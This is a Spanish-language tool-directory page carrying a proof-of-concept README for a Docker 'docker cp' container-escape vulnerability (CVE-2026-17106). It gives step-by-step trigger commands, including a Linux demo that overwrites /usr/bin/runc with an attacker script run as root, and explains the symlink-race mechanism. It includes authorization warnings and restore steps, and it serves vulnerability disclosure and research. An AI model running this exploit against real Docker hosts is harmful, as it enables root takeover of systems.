Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CopyEscape-CVE-2026-17106 — Repositorio de PoC para el artículo del blog CopyEscape: Tomando el control de hosts Docker con docker cp | Kitploit
Herramientas/GitHubGitHub/masasron/copyescape-cve-2026-17106
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónRed TeamingEscape de ContenedoresAtaque Adversario
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

Repositorio de PoC para el artículo del blog CopyEscape: Tomando el control de hosts Docker con docker cp

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web
248hace 1 mesAún no revisado

CopyEscape: Tomando Control de Hosts Docker con docker cp (CVE-2026-17106)

Este es el repositorio de prueba de concepto para la entrada de blog CopyEscape: Taking Over Docker Hosts with docker cp — CVE-2026-17106.

CopyEscape permite que un contenedor malicioso en ejecución compita con el productor de archivos de Docker y cree un flujo tar inconsistente. El CLI de Docker vulnerable puede entonces seguir un enlace simbólico plantado durante la extracción y escribir fuera del destino local seleccionado por el usuario que ejecuta docker cp.

El repositorio contiene dos demostraciones:

  • macos/ contiene una demostración no destructiva de Docker Desktop que crea ~/pwnd en el host macOS.
  • linux/ contiene la demostración original de alto impacto para Linux que sobrescribe /usr/bin/runc y crea /imperva_red_team cuando se ejecuta el runtime reemplazado.

[!WARNING] Ejecute estos PoCs solo en sistemas de su propiedad o para los que tenga autorización explícita de prueba. El PoC de Linux reemplaza intencionadamente /usr/bin/runc; use una VM desechable y haga una copia de seguridad verificada antes de activarlo.

Requisitos

  • Una versión vulnerable de Docker Engine o Docker Desktop.
  • Un daemon de Docker en ejecución.
  • Un shell con acceso al CLI de Docker.
  • Privilegios de root para la demostración de Linux /usr/bin/runc.

Los PoCs se desarrollaron y probaron contra Docker Engine/CLI 29.6.1 y Docker Desktop 4.81.0. Las versiones corregidas deberían rechazar el archivo malicioso o completar la copia sin escribir fuera del destino seleccionado.

PoC de macOS: crear ~/pwnd

Esta demostración apunta al directorio de inicio del usuario que ejecuta el CLI de Docker. Se niega a continuar si ya existen ~/pwnd o el destino local file.txt.

Ejecute:

root@kitploit:~
cd macos
./demo-macos.sh

El script de ejecución construye la imagen, inicia el contenedor preparado, confirma que /watched/file.txt parece un archivo normal dentro de él, y activa:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

En una versión vulnerable de Docker Desktop, la copia crea:

root@kitploit:~
~/pwnd

con el siguiente contenido:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

Limpieza:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

PoC de Linux: sobrescribir /usr/bin/runc

[!CAUTION] Esta demostración deja temporalmente inutilizable el runtime del host Docker y ejecuta un reemplazo controlado por el atacante como root. Use una VM desechable. Después de que docker cp regrese, restaure runc antes de ejecutar otro comando de Docker.

Abra un shell root y entre al directorio del PoC de Linux:

root@kitploit:~
sudo -s
cd linux

Cree y verifique una copia de seguridad antes de iniciar la prueba:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

Construya la imagen:

root@kitploit:~
docker build -t copyescape-linux .

Inicie el contenedor preparado en la primera terminal:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

En una segunda terminal root, confirme que la ruta preparada parece un archivo regular para un proceso dentro del contenedor:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

Salida esperada:

root@kitploit:~
top-level file

Active la vulnerabilidad:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

En una versión vulnerable de Docker, /usr/bin/runc ahora contiene el script shell del PoC. La ejecución del runtime reemplazado crea el marcador propiedad de root:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

Restaure el runtime original inmediatamente, antes de emitir otro comando de Docker:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

Después de que runc haya sido restaurado y verificado, elimine los artefactos de prueba restantes:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

Cómo funcionan las demostraciones

Ambos PoCs exponen /watched/file.txt como un archivo normal para los procesos que se ejecutan en el contenedor, mientras que el daemon de Docker ve un directorio subyacente. Durante el recorrido del sistema de archivos de Docker, el monitor reemplaza un directorio con un enlace simbólico absoluto preparado. El flujo tar resultante contiene el enlace simbólico seguido de una entrada hija debajo de él. Un CLI de Docker vulnerable crea el enlace simbólico y luego extrae la entrada hija a través de él hacia el sistema de archivos del cliente.

La escritura final lleva los permisos del proceso que ejecuta docker cp.

Descargar herramienta